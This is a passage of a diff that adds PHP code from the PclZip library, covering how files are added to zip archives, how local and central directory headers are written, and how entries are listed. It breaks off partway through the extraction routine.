+  //   $p_result_list : list of added files with their properties (specially the status field)
+  //   $p_add_dir : Path to add in the filename path archived
+  //   $p_remove_dir : Path to remove in the filename path archived
+  // Return Values :
+  // --------------------------------------------------------------------------------
+//  function privAddList($p_list, &$p_result_list, $p_add_dir, $p_remove_dir, $p_remove_all_dir, &$p_options)
+  function privAddList($p_filedescr_list, &$p_result_list, &$p_options)
+  {
+    $v_result=1;
+
+    // ----- Add the files
+    $v_header_list = array();
+    if (($v_result = $this->privAddFileList($p_filedescr_list, $v_header_list, $p_options)) != 1)
+    {
+      // ----- Return
+      return $v_result;
+    }
+
+    // ----- Store the offset of the central dir
+    $v_offset = @ftell($this->zip_fd);
+
+    // ----- Create the Central Dir files header
+    for ($i=0,$v_count=0; $i<sizeof($v_header_list); $i++)
+    {
+      // ----- Create the file header
+      if ($v_header_list[$i]['status'] == 'ok') {
+        if (($v_result = $this->privWriteCentralFileHeader($v_header_list[$i])) != 1) {
+          // ----- Return
+          return $v_result;
+        }
+        $v_count++;
+      }
+
+      // ----- Transform the header to a 'usable' info
+      $this->privConvertHeader2FileInfo($v_header_list[$i], $p_result_list[$i]);
+    }
+
+    // ----- Zip file comment
+    $v_comment = '';
+    if (isset($p_options[PCLZIP_OPT_COMMENT])) {
+      $v_comment = $p_options[PCLZIP_OPT_COMMENT];
+    }
+
+    // ----- Calculate the size of the central header
+    $v_size = @ftell($this->zip_fd)-$v_offset;
+
+    // ----- Create the central dir footer
+    if (($v_result = $this->privWriteCentralHeader($v_count, $v_size, $v_offset, $v_comment)) != 1)
+    {
+      // ----- Reset the file list
+      unset($v_header_list);
+
+      // ----- Return
+      return $v_result;
+    }
+
+    // ----- Return
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : privAddFileList()
+  // Description :
+  // Parameters :
+  //   $p_filedescr_list : An array containing the file description
+  //                      or directory names to add in the zip
+  //   $p_result_list : list of added files with their properties (specially the status field)
+  // Return Values :
+  // --------------------------------------------------------------------------------
+  function privAddFileList($p_filedescr_list, &$p_result_list, &$p_options)
+  {
+    $v_result=1;
+    $v_header = array();
+
+    // ----- Recuperate the current number of elt in list
+    $v_nb = sizeof($p_result_list);
+
+    // ----- Loop on the files
+    for ($j=0; ($j<sizeof($p_filedescr_list)) && ($v_result==1); $j++) {
+      // ----- Format the filename
+      $p_filedescr_list[$j]['filename']
+      = PclZipUtilTranslateWinPath($p_filedescr_list[$j]['filename'], false);
+
+
+      // ----- Skip empty file names
+      // TBC : Can this be possible ? not checked in DescrParseAtt ?
+      if ($p_filedescr_list[$j]['filename'] == "") {
+        continue;
+      }
+
+      // ----- Check the filename
+      if (   ($p_filedescr_list[$j]['type'] != 'virtual_file')
+          && (!file_exists($p_filedescr_list[$j]['filename']))) {
+        PclZip::privErrorLog(PCLZIP_ERR_MISSING_FILE, "File '".$p_filedescr_list[$j]['filename']."' does not exist");
+        return PclZip::errorCode();
+      }
+
+      // ----- Look if it is a file or a dir with no all path remove option
+      // or a dir with all its path removed
+//      if (   (is_file($p_filedescr_list[$j]['filename']))
+//          || (   is_dir($p_filedescr_list[$j]['filename'])
+      if (   ($p_filedescr_list[$j]['type'] == 'file')
+          || ($p_filedescr_list[$j]['type'] == 'virtual_file')
+          || (   ($p_filedescr_list[$j]['type'] == 'folder')
+              && (   !isset($p_options[PCLZIP_OPT_REMOVE_ALL_PATH])
+                  || !$p_options[PCLZIP_OPT_REMOVE_ALL_PATH]))
+          ) {
+
+        // ----- Add the file
+        $v_result = $this->privAddFile($p_filedescr_list[$j], $v_header,
+                                       $p_options);
+        if ($v_result != 1) {
+          return $v_result;
+        }
+
+        // ----- Store the file infos
+        $p_result_list[$v_nb++] = $v_header;
+      }
+    }
+
+    // ----- Return
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : privAddFile()
+  // Description :
+  // Parameters :
+  // Return Values :
+  // --------------------------------------------------------------------------------
+  function privAddFile($p_filedescr, &$p_header, &$p_options)
+  {
+    $v_result=1;
+
+    // ----- Working variable
+    $p_filename = $p_filedescr['filename'];
+
+    // TBC : Already done in the fileAtt check ... ?
+    if ($p_filename == "") {
+      // ----- Error log
+      PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid file list parameter (invalid or empty list)");
+
+      // ----- Return
+      return PclZip::errorCode();
+    }
+
+    // ----- Look for a stored different filename
+    /* TBC : Removed
+    if (isset($p_filedescr['stored_filename'])) {
+      $v_stored_filename = $p_filedescr['stored_filename'];
+    }
+    else {
+      $v_stored_filename = $p_filedescr['stored_filename'];
+    }
+    */
+
+    // ----- Set the file properties
+    clearstatcache();
+    $p_header['version'] = 20;
+    $p_header['version_extracted'] = 10;
+    $p_header['flag'] = 0;
+    $p_header['compression'] = 0;
+    $p_header['crc'] = 0;
+    $p_header['compressed_size'] = 0;
+    $p_header['filename_len'] = strlen($p_filename);
+    $p_header['extra_len'] = 0;
+    $p_header['disk'] = 0;
+    $p_header['internal'] = 0;
+    $p_header['offset'] = 0;
+    $p_header['filename'] = $p_filename;
+// TBC : Removed    $p_header['stored_filename'] = $v_stored_filename;
+    $p_header['stored_filename'] = $p_filedescr['stored_filename'];
+    $p_header['extra'] = '';
+    $p_header['status'] = 'ok';
+    $p_header['index'] = -1;
+
+    // ----- Look for regular file
+    if ($p_filedescr['type']=='file') {
+      $p_header['external'] = 0x00000000;
+      $p_header['size'] = filesize($p_filename);
+    }
+
+    // ----- Look for regular folder
+    else if ($p_filedescr['type']=='folder') {
+      $p_header['external'] = 0x00000010;
+      $p_header['mtime'] = filemtime($p_filename);
+      $p_header['size'] = filesize($p_filename);
+    }
+
+    // ----- Look for virtual file
+    else if ($p_filedescr['type'] == 'virtual_file') {
+      $p_header['external'] = 0x00000000;
+      $p_header['size'] = strlen($p_filedescr['content']);
+    }
+
+
+    // ----- Look for filetime
+    if (isset($p_filedescr['mtime'])) {
+      $p_header['mtime'] = $p_filedescr['mtime'];
+    }
+    else if ($p_filedescr['type'] == 'virtual_file') {
+      $p_header['mtime'] = time();
+    }
+    else {
+      $p_header['mtime'] = filemtime($p_filename);
+    }
+
+    // ------ Look for file comment
+    if (isset($p_filedescr['comment'])) {
+      $p_header['comment_len'] = strlen($p_filedescr['comment']);
+      $p_header['comment'] = $p_filedescr['comment'];
+    }
+    else {
+      $p_header['comment_len'] = 0;
+      $p_header['comment'] = '';
+    }
+
+    // ----- Look for pre-add callback
+    if (isset($p_options[PCLZIP_CB_PRE_ADD])) {
+
+      // ----- Generate a local information
+      $v_local_header = array();
+      $this->privConvertHeader2FileInfo($p_header, $v_local_header);
+
+      // ----- Call the callback
+      // Here I do not use call_user_func() because I need to send a reference to the
+      // header.
+      $v_result = $p_options[PCLZIP_CB_PRE_ADD](PCLZIP_CB_PRE_ADD, $v_local_header);
+      if ($v_result == 0) {
+        // ----- Change the file status
+        $p_header['status'] = "skipped";
+        $v_result = 1;
+      }
+
+      // ----- Update the informations
+      // Only some fields can be modified
+      if ($p_header['stored_filename'] != $v_local_header['stored_filename']) {
+        $p_header['stored_filename'] = PclZipUtilPathReduction($v_local_header['stored_filename']);
+      }
+    }
+
+    // ----- Look for empty stored filename
+    if ($p_header['stored_filename'] == "") {
+      $p_header['status'] = "filtered";
+    }
+
+    // ----- Check the path length
+    if (strlen($p_header['stored_filename']) > 0xFF) {
+      $p_header['status'] = 'filename_too_long';
+    }
+
+    // ----- Look if no error, or file not skipped
+    if ($p_header['status'] == 'ok') {
+
+      // ----- Look for a file
+      if ($p_filedescr['type'] == 'file') {
+        // ----- Look for using temporary file to zip
+        if ( (!isset($p_options[PCLZIP_OPT_TEMP_FILE_OFF]))
+            && (isset($p_options[PCLZIP_OPT_TEMP_FILE_ON])
+                || (isset($p_options[PCLZIP_OPT_TEMP_FILE_THRESHOLD])
+                    && ($p_options[PCLZIP_OPT_TEMP_FILE_THRESHOLD] <= $p_header['size'])) ) ) {
+          $v_result = $this->privAddFileUsingTempFile($p_filedescr, $p_header, $p_options);
+          if ($v_result < PCLZIP_ERR_NO_ERROR) {
+            return $v_result;
+          }
+        }
+
+        // ----- Use "in memory" zip algo
+        else {
+
+        // ----- Open the source file
+        if (($v_file = @fopen($p_filename, "rb")) == 0) {
+          PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, "Unable to open file '$p_filename' in binary read mode");
+          return PclZip::errorCode();
+        }
+
+        // ----- Read the file content
+        $v_content = @fread($v_file, $p_header['size']);
+
+        // ----- Close the file
+        @fclose($v_file);
+
+        // ----- Calculate the CRC
+        $p_header['crc'] = @crc32($v_content);
+
+        // ----- Look for no compression
+        if ($p_options[PCLZIP_OPT_NO_COMPRESSION]) {
+          // ----- Set header parameters
+          $p_header['compressed_size'] = $p_header['size'];
+          $p_header['compression'] = 0;
+        }
+
+        // ----- Look for normal compression
+        else {
+          // ----- Compress the content
+          $v_content = @gzdeflate($v_content);
+
+          // ----- Set header parameters
+          $p_header['compressed_size'] = strlen($v_content);
+          $p_header['compression'] = 8;
+        }
+
+        // ----- Call the header generation
+        if (($v_result = $this->privWriteFileHeader($p_header)) != 1) {
+          @fclose($v_file);
+          return $v_result;
+        }
+
+        // ----- Write the compressed (or not) content
+        @fwrite($this->zip_fd, $v_content, $p_header['compressed_size']);
+
+        }
+
+      }
+
+      // ----- Look for a virtual file (a file from string)
+      else if ($p_filedescr['type'] == 'virtual_file') {
+
+        $v_content = $p_filedescr['content'];
+
+        // ----- Calculate the CRC
+        $p_header['crc'] = @crc32($v_content);
+
+        // ----- Look for no compression
+        if ($p_options[PCLZIP_OPT_NO_COMPRESSION]) {
+          // ----- Set header parameters
+          $p_header['compressed_size'] = $p_header['size'];
+          $p_header['compression'] = 0;
+        }
+
+        // ----- Look for normal compression
+        else {
+          // ----- Compress the content
+          $v_content = @gzdeflate($v_content);
+
+          // ----- Set header parameters
+          $p_header['compressed_size'] = strlen($v_content);
+          $p_header['compression'] = 8;
+        }
+
+        // ----- Call the header generation
+        if (($v_result = $this->privWriteFileHeader($p_header)) != 1) {
+          @fclose($v_file);
+          return $v_result;
+        }
+
+        // ----- Write the compressed (or not) content
+        @fwrite($this->zip_fd, $v_content, $p_header['compressed_size']);
+      }
+
+      // ----- Look for a directory
+      else if ($p_filedescr['type'] == 'folder') {
+        // ----- Look for directory last '/'
+        if (@substr($p_header['stored_filename'], -1) != '/') {
+          $p_header['stored_filename'] .= '/';
+        }
+
+        // ----- Set the file properties
+        $p_header['size'] = 0;
+        //$p_header['external'] = 0x41FF0010;   // Value for a folder : to be checked
+        $p_header['external'] = 0x00000010;   // Value for a folder : to be checked
+
+        // ----- Call the header generation
+        if (($v_result = $this->privWriteFileHeader($p_header)) != 1)
+        {
+          return $v_result;
+        }
+      }
+    }
+
+    // ----- Look for post-add callback
+    if (isset($p_options[PCLZIP_CB_POST_ADD])) {
+
+      // ----- Generate a local information
+      $v_local_header = array();
+      $this->privConvertHeader2FileInfo($p_header, $v_local_header);
+
+      // ----- Call the callback
+      // Here I do not use call_user_func() because I need to send a reference to the
+      // header.
+      $v_result = $p_options[PCLZIP_CB_POST_ADD](PCLZIP_CB_POST_ADD, $v_local_header);
+      if ($v_result == 0) {
+        // ----- Ignored
+        $v_result = 1;
+      }
+
+      // ----- Update the informations
+      // Nothing can be modified
+    }
+
+    // ----- Return
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : privAddFileUsingTempFile()
+  // Description :
+  // Parameters :
+  // Return Values :
+  // --------------------------------------------------------------------------------
+  function privAddFileUsingTempFile($p_filedescr, &$p_header, &$p_options)
+  {
+    $v_result=PCLZIP_ERR_NO_ERROR;
+
+    // ----- Working variable
+    $p_filename = $p_filedescr['filename'];
+
+
+    // ----- Open the source file
+    if (($v_file = @fopen($p_filename, "rb")) == 0) {
+      PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, "Unable to open file '$p_filename' in binary read mode");
+      return PclZip::errorCode();
+    }
+
+    // ----- Creates a compressed temporary file
+    $v_gzip_temp_name = PCLZIP_TEMPORARY_DIR.uniqid('pclzip-').'.gz';
+    if (($v_file_compressed = @gzopen($v_gzip_temp_name, "wb")) == 0) {
+      fclose($v_file);
+      PclZip::privErrorLog(PCLZIP_ERR_WRITE_OPEN_FAIL, 'Unable to open temporary file \''.$v_gzip_temp_name.'\' in binary write mode');
+      return PclZip::errorCode();
+    }
+
+    // ----- Read the file by PCLZIP_READ_BLOCK_SIZE octets blocks
+    $v_size = filesize($p_filename);
+    while ($v_size != 0) {
+      $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE);
+      $v_buffer = @fread($v_file, $v_read_size);
+      //$v_binary_data = pack('a'.$v_read_size, $v_buffer);
+      @gzputs($v_file_compressed, $v_buffer, $v_read_size);
+      $v_size -= $v_read_size;
+    }
+
+    // ----- Close the file
+    @fclose($v_file);
+    @gzclose($v_file_compressed);
+
+    // ----- Check the minimum file size
+    if (filesize($v_gzip_temp_name) < 18) {
+      PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, 'gzip temporary file \''.$v_gzip_temp_name.'\' has invalid filesize - should be minimum 18 bytes');
+      return PclZip::errorCode();
+    }
+
+    // ----- Extract the compressed attributes
+    if (($v_file_compressed = @fopen($v_gzip_temp_name, "rb")) == 0) {
+      PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Unable to open temporary file \''.$v_gzip_temp_name.'\' in binary read mode');
+      return PclZip::errorCode();
+    }
+
+    // ----- Read the gzip file header
+    $v_binary_data = @fread($v_file_compressed, 10);
+    $v_data_header = unpack('a1id1/a1id2/a1cm/a1flag/Vmtime/a1xfl/a1os', $v_binary_data);
+
+    // ----- Check some parameters
+    $v_data_header['os'] = bin2hex($v_data_header['os']);
+
+    // ----- Read the gzip file footer
+    @fseek($v_file_compressed, filesize($v_gzip_temp_name)-8);
+    $v_binary_data = @fread($v_file_compressed, 8);
+    $v_data_footer = unpack('Vcrc/Vcompressed_size', $v_binary_data);
+
+    // ----- Set the attributes
+    $p_header['compression'] = ord($v_data_header['cm']);
+    //$p_header['mtime'] = $v_data_header['mtime'];
+    $p_header['crc'] = $v_data_footer['crc'];
+    $p_header['compressed_size'] = filesize($v_gzip_temp_name)-18;
+
+    // ----- Close the file
+    @fclose($v_file_compressed);
+
+    // ----- Call the header generation
+    if (($v_result = $this->privWriteFileHeader($p_header)) != 1) {
+      return $v_result;
+    }
+
+    // ----- Add the compressed data
+    if (($v_file_compressed = @fopen($v_gzip_temp_name, "rb")) == 0)
+    {
+      PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Unable to open temporary file \''.$v_gzip_temp_name.'\' in binary read mode');
+      return PclZip::errorCode();
+    }
+
+    // ----- Read the file by PCLZIP_READ_BLOCK_SIZE octets blocks
+    fseek($v_file_compressed, 10);
+    $v_size = $p_header['compressed_size'];
+    while ($v_size != 0)
+    {
+      $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE);
+      $v_buffer = @fread($v_file_compressed, $v_read_size);
+      //$v_binary_data = pack('a'.$v_read_size, $v_buffer);
+      @fwrite($this->zip_fd, $v_buffer, $v_read_size);
+      $v_size -= $v_read_size;
+    }
+
+    // ----- Close the file
+    @fclose($v_file_compressed);
+
+    // ----- Unlink the temporary file
+    @unlink($v_gzip_temp_name);
+
+    // ----- Return
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : privCalculateStoredFilename()
+  // Description :
+  //   Based on file descriptor properties and global options, this method
+  //   calculate the filename that will be stored in the archive.
+  // Parameters :
+  // Return Values :
+  // --------------------------------------------------------------------------------
+  function privCalculateStoredFilename(&$p_filedescr, &$p_options)
+  {
+    $v_result=1;
+
+    // ----- Working variables
+    $p_filename = $p_filedescr['filename'];
+    if (isset($p_options[PCLZIP_OPT_ADD_PATH])) {
+      $p_add_dir = $p_options[PCLZIP_OPT_ADD_PATH];
+    }
+    else {
+      $p_add_dir = '';
+    }
+    if (isset($p_options[PCLZIP_OPT_REMOVE_PATH])) {
+      $p_remove_dir = $p_options[PCLZIP_OPT_REMOVE_PATH];
+    }
+    else {
+      $p_remove_dir = '';
+    }
+    if (isset($p_options[PCLZIP_OPT_REMOVE_ALL_PATH])) {
+      $p_remove_all_dir = $p_options[PCLZIP_OPT_REMOVE_ALL_PATH];
+    }
+    else {
+      $p_remove_all_dir = 0;
+    }
+
+
+    // ----- Look for full name change
+    if (isset($p_filedescr['new_full_name'])) {
+      // ----- Remove drive letter if any
+      $v_stored_filename = PclZipUtilTranslateWinPath($p_filedescr['new_full_name']);
+    }
+
+    // ----- Look for path and/or short name change
+    else {
+
+      // ----- Look for short name change
+      // Its when we cahnge just the filename but not the path
+      if (isset($p_filedescr['new_short_name'])) {
+        $v_path_info = pathinfo($p_filename);
+        $v_dir = '';
+        if ($v_path_info['dirname'] != '') {
+          $v_dir = $v_path_info['dirname'].'/';
+        }
+        $v_stored_filename = $v_dir.$p_filedescr['new_short_name'];
+      }
+      else {
+        // ----- Calculate the stored filename
+        $v_stored_filename = $p_filename;
+      }
+
+      // ----- Look for all path to remove
+      if ($p_remove_all_dir) {
+        $v_stored_filename = basename($p_filename);
+      }
+      // ----- Look for partial path remove
+      else if ($p_remove_dir != "") {
+        if (substr($p_remove_dir, -1) != '/')
+          $p_remove_dir .= "/";
+
+        if (   (substr($p_filename, 0, 2) == "./")
+            || (substr($p_remove_dir, 0, 2) == "./")) {
+
+          if (   (substr($p_filename, 0, 2) == "./")
+              && (substr($p_remove_dir, 0, 2) != "./")) {
+            $p_remove_dir = "./".$p_remove_dir;
+          }
+          if (   (substr($p_filename, 0, 2) != "./")
+              && (substr($p_remove_dir, 0, 2) == "./")) {
+            $p_remove_dir = substr($p_remove_dir, 2);
+          }
+        }
+
+        $v_compare = PclZipUtilPathInclusion($p_remove_dir,
+                                             $v_stored_filename);
+        if ($v_compare > 0) {
+          if ($v_compare == 2) {
+            $v_stored_filename = "";
+          }
+          else {
+            $v_stored_filename = substr($v_stored_filename,
+                                        strlen($p_remove_dir));
+          }
+        }
+      }
+
+      // ----- Remove drive letter if any
+      $v_stored_filename = PclZipUtilTranslateWinPath($v_stored_filename);
+
+      // ----- Look for path to add
+      if ($p_add_dir != "") {
+        if (substr($p_add_dir, -1) == "/")
+          $v_stored_filename = $p_add_dir.$v_stored_filename;
+        else
+          $v_stored_filename = $p_add_dir."/".$v_stored_filename;
+      }
+    }
+
+    // ----- Filename (reduce the path of stored name)
+    $v_stored_filename = PclZipUtilPathReduction($v_stored_filename);
+    $p_filedescr['stored_filename'] = $v_stored_filename;
+
+    // ----- Return
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : privWriteFileHeader()
+  // Description :
+  // Parameters :
+  // Return Values :
+  // --------------------------------------------------------------------------------
+  function privWriteFileHeader(&$p_header)
+  {
+    $v_result=1;
+
+    // ----- Store the offset position of the file
+    $p_header['offset'] = ftell($this->zip_fd);
+
+    // ----- Transform UNIX mtime to DOS format mdate/mtime
+    $v_date = getdate($p_header['mtime']);
+    $v_mtime = ($v_date['hours']<<11) + ($v_date['minutes']<<5) + $v_date['seconds']/2;
+    $v_mdate = (($v_date['year']-1980)<<9) + ($v_date['mon']<<5) + $v_date['mday'];
+
+    // ----- Packed data
+    $v_binary_data = pack("VvvvvvVVVvv", 0x04034b50,
+	                      $p_header['version_extracted'], $p_header['flag'],
+                          $p_header['compression'], $v_mtime, $v_mdate,
+                          $p_header['crc'], $p_header['compressed_size'],
+						  $p_header['size'],
+                          strlen($p_header['stored_filename']),
+						  $p_header['extra_len']);
+
+    // ----- Write the first 148 bytes of the header in the archive
+    fputs($this->zip_fd, $v_binary_data, 30);
+
+    // ----- Write the variable fields
+    if (strlen($p_header['stored_filename']) != 0)
+    {
+      fputs($this->zip_fd, $p_header['stored_filename'], strlen($p_header['stored_filename']));
+    }
+    if ($p_header['extra_len'] != 0)
+    {
+      fputs($this->zip_fd, $p_header['extra'], $p_header['extra_len']);
+    }
+
+    // ----- Return
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : privWriteCentralFileHeader()
+  // Description :
+  // Parameters :
+  // Return Values :
+  // --------------------------------------------------------------------------------
+  function privWriteCentralFileHeader(&$p_header)
+  {
+    $v_result=1;
+
+    // TBC
+    //for(reset($p_header); $key = key($p_header); next($p_header)) {
+    //}
+
+    // ----- Transform UNIX mtime to DOS format mdate/mtime
+    $v_date = getdate($p_header['mtime']);
+    $v_mtime = ($v_date['hours']<<11) + ($v_date['minutes']<<5) + $v_date['seconds']/2;
+    $v_mdate = (($v_date['year']-1980)<<9) + ($v_date['mon']<<5) + $v_date['mday'];
+
+
+    // ----- Packed data
+    $v_binary_data = pack("VvvvvvvVVVvvvvvVV", 0x02014b50,
+	                      $p_header['version'], $p_header['version_extracted'],
+                          $p_header['flag'], $p_header['compression'],
+						  $v_mtime, $v_mdate, $p_header['crc'],
+                          $p_header['compressed_size'], $p_header['size'],
+                          strlen($p_header['stored_filename']),
+						  $p_header['extra_len'], $p_header['comment_len'],
+                          $p_header['disk'], $p_header['internal'],
+						  $p_header['external'], $p_header['offset']);
+
+    // ----- Write the 42 bytes of the header in the zip file
+    fputs($this->zip_fd, $v_binary_data, 46);
+
+    // ----- Write the variable fields
+    if (strlen($p_header['stored_filename']) != 0)
+    {
+      fputs($this->zip_fd, $p_header['stored_filename'], strlen($p_header['stored_filename']));
+    }
+    if ($p_header['extra_len'] != 0)
+    {
+      fputs($this->zip_fd, $p_header['extra'], $p_header['extra_len']);
+    }
+    if ($p_header['comment_len'] != 0)
+    {
+      fputs($this->zip_fd, $p_header['comment'], $p_header['comment_len']);
+    }
+
+    // ----- Return
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : privWriteCentralHeader()
+  // Description :
+  // Parameters :
+  // Return Values :
+  // --------------------------------------------------------------------------------
+  function privWriteCentralHeader($p_nb_entries, $p_size, $p_offset, $p_comment)
+  {
+    $v_result=1;
+
+    // ----- Packed data
+    $v_binary_data = pack("VvvvvVVv", 0x06054b50, 0, 0, $p_nb_entries,
+	                      $p_nb_entries, $p_size,
+						  $p_offset, strlen($p_comment));
+
+    // ----- Write the 22 bytes of the header in the zip file
+    fputs($this->zip_fd, $v_binary_data, 22);
+
+    // ----- Write the variable fields
+    if (strlen($p_comment) != 0)
+    {
+      fputs($this->zip_fd, $p_comment, strlen($p_comment));
+    }
+
+    // ----- Return
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : privList()
+  // Description :
+  // Parameters :
+  // Return Values :
+  // --------------------------------------------------------------------------------
+  function privList(&$p_list)
+  {
+    $v_result=1;
+
+    // ----- Magic quotes trick
+    $this->privDisableMagicQuotes();
+
+    // ----- Open the zip file
+    if (($this->zip_fd = @fopen($this->zipname, 'rb')) == 0)
+    {
+      // ----- Magic quotes trick
+      $this->privSwapBackMagicQuotes();
+
+      // ----- Error log
+      PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Unable to open archive \''.$this->zipname.'\' in binary read mode');
+
+      // ----- Return
+      return PclZip::errorCode();
+    }
+
+    // ----- Read the central directory informations
+    $v_central_dir = array();
+    if (($v_result = $this->privReadEndCentralDir($v_central_dir)) != 1)
+    {
+      $this->privSwapBackMagicQuotes();
+      return $v_result;
+    }
+
+    // ----- Go to beginning of Central Dir
+    @rewind($this->zip_fd);
+    if (@fseek($this->zip_fd, $v_central_dir['offset']))
+    {
+      $this->privSwapBackMagicQuotes();
+
+      // ----- Error log
+      PclZip::privErrorLog(PCLZIP_ERR_INVALID_ARCHIVE_ZIP, 'Invalid archive size');
+
+      // ----- Return
+      return PclZip::errorCode();
+    }
+
+    // ----- Read each entry
+    for ($i=0; $i<$v_central_dir['entries']; $i++)
+    {
+      // ----- Read the file header
+      if (($v_result = $this->privReadCentralFileHeader($v_header)) != 1)
+      {
+        $this->privSwapBackMagicQuotes();
+        return $v_result;
+      }
+      $v_header['index'] = $i;
+
+      // ----- Get the only interesting attributes
+      $this->privConvertHeader2FileInfo($v_header, $p_list[$i]);
+      unset($v_header);
+    }
+
+    // ----- Close the zip file
+    $this->privCloseFd();
+
+    // ----- Magic quotes trick
+    $this->privSwapBackMagicQuotes();
+
+    // ----- Return
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : privConvertHeader2FileInfo()
+  // Description :
+  //   This function takes the file informations from the central directory
+  //   entries and extract the interesting parameters that will be given back.
+  //   The resulting file infos are set in the array $p_info
+  //     $p_info['filename'] : Filename with full path. Given by user (add),
+  //                           extracted in the filesystem (extract).
+  //     $p_info['stored_filename'] : Stored filename in the archive.
+  //     $p_info['size'] = Size of the file.
+  //     $p_info['compressed_size'] = Compressed size of the file.
+  //     $p_info['mtime'] = Last modification date of the file.
+  //     $p_info['comment'] = Comment associated with the file.
+  //     $p_info['folder'] = true/false : indicates if the entry is a folder or not.
+  //     $p_info['status'] = status of the action on the file.
+  //     $p_info['crc'] = CRC of the file content.
+  // Parameters :
+  // Return Values :
+  // --------------------------------------------------------------------------------
+  function privConvertHeader2FileInfo($p_header, &$p_info)
+  {
+    $v_result=1;
+
+    // ----- Get the interesting attributes
+    $v_temp_path = PclZipUtilPathReduction($p_header['filename']);
+    $p_info['filename'] = $v_temp_path;
+    $v_temp_path = PclZipUtilPathReduction($p_header['stored_filename']);
+    $p_info['stored_filename'] = $v_temp_path;
+    $p_info['size'] = $p_header['size'];
+    $p_info['compressed_size'] = $p_header['compressed_size'];
+    $p_info['mtime'] = $p_header['mtime'];
+    $p_info['comment'] = $p_header['comment'];
+    $p_info['folder'] = (($p_header['external']&0x00000010)==0x00000010);
+    $p_info['index'] = $p_header['index'];
+    $p_info['status'] = $p_header['status'];
+    $p_info['crc'] = $p_header['crc'];
+
+    // ----- Return
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : privExtractByRule()
+  // Description :
+  //   Extract a file or directory depending of rules (by index, by name, ...)
+  // Parameters :
+  //   $p_file_list : An array where will be placed the properties of each
+  //                  extracted file
+  //   $p_path : Path to add while writing the extracted files
+  //   $p_remove_path : Path to remove (from the file memorized path) while writing the
+  //                    extracted files. If the path does not match the file path,
+  //                    the file is extracted with its memorized path.
+  //                    $p_remove_path does not apply to 'list' mode.
+  //                    $p_path and $p_remove_path are commulative.
+  // Return Values :
+  //   1 on success,0 or less on error (see error code list)
+  // --------------------------------------------------------------------------------
+  function privExtractByRule(&$p_file_list, $p_path, $p_remove_path, $p_remove_all_path, &$p_options)
+  {
+    $v_result=1;
+
+    // ----- Magic quotes trick
+    $this->privDisableMagicQuotes();
+
+    // ----- Check the path
+    if (   ($p_path == "")
+	    || (   (substr($p_path, 0, 1) != "/")
+		    && (substr($p_path, 0, 3) != "../")
+			&& (substr($p_path,1,2)!=":/")))
+      $p_path = "./".$p_path;
+
+    // ----- Reduce the path last (and duplicated) '/'
+    if (($p_path != "./") && ($p_path != "/"))
+    {
+      // ----- Look for the path end '/'
+      while (substr($p_path, -1) == "/")
+      {
+        $p_path = substr($p_path, 0, strlen($p_path)-1);
+      }
+    }
+
+    // ----- Look for path to remove format (should end by /)
+    if (($p_remove_path != "") && (substr($p_remove_path, -1) != '/'))
+    {
+      $p_remove_path .= '/';
+    }
+    $p_remove_path_size = strlen($p_remove_path);
+
+    // ----- Open the zip file
+    if (($v_result = $this->privOpenFd('rb')) != 1)
+    {
+      $this->privSwapBackMagicQuotes();
+      return $v_result;
+    }
+
+    // ----- Read the central directory informations
+    $v_central_dir = array();
+    if (($v_result = $this->privReadEndCentralDir($v_central_dir)) != 1)
+    {
+      // ----- Close the zip file
+      $this->privCloseFd();
+      $this->privSwapBackMagicQuotes();
+
+      return $v_result;
+    }
+
+    // ----- Start at beginning of Central Dir
+    $v_pos_entry = $v_central_dir['offset'];
+
+    // ----- Read each entry
+    $j_start = 0;
+    for ($i=0, $v_nb_extracted=0; $i<$v_central_dir['entries']; $i++)
+    {
+
+      // ----- Read next Central dir entry
+      @rewind($this->zip_fd);
+      if (@fseek($this->zip_fd, $v_pos_entry))
+      {
+        // ----- Close the zip file
+        $this->privCloseFd();
+        $this->privSwapBackMagicQuotes();
+
+        // ----- Error log
+        PclZip::privErrorLog(PCLZIP_ERR_INVALID_ARCHIVE_ZIP, 'Invalid archive size');
+
+        // ----- Return
+        return PclZip::errorCode();
+      }
+
+      // ----- Read the file header
+      $v_header = array();
+      if (($v_result = $this->privReadCentralFileHeader($v_header)) != 1)
+      {
+        // ----- Close the zip file
+        $this->privCloseFd();
+        $this->privSwapBackMagicQuotes();
+
+        return $v_result;
+      }
+
+      // ----- Store the index
+      $v_header['index'] = $i;
+
+      // ----- Store the file position
+      $v_pos_entry = ftell($this->zip_fd);
+
+      // ----- Look for the specific extract rules
+      $v_extract = false;
+
+      // ----- Look for extract by name rule
+      if (   (isset($p_options[PCLZIP_OPT_BY_NAME]))
+          && ($p_options[PCLZIP_OPT_BY_NAME] != 0)) {
+
+          // ----- Look if the filename is in the list
+          for ($j=0; ($j<sizeof($p_options[PCLZIP_OPT_BY_NAME])) && (!$v_extract); $j++) {
+
+              // ----- Look for a directory
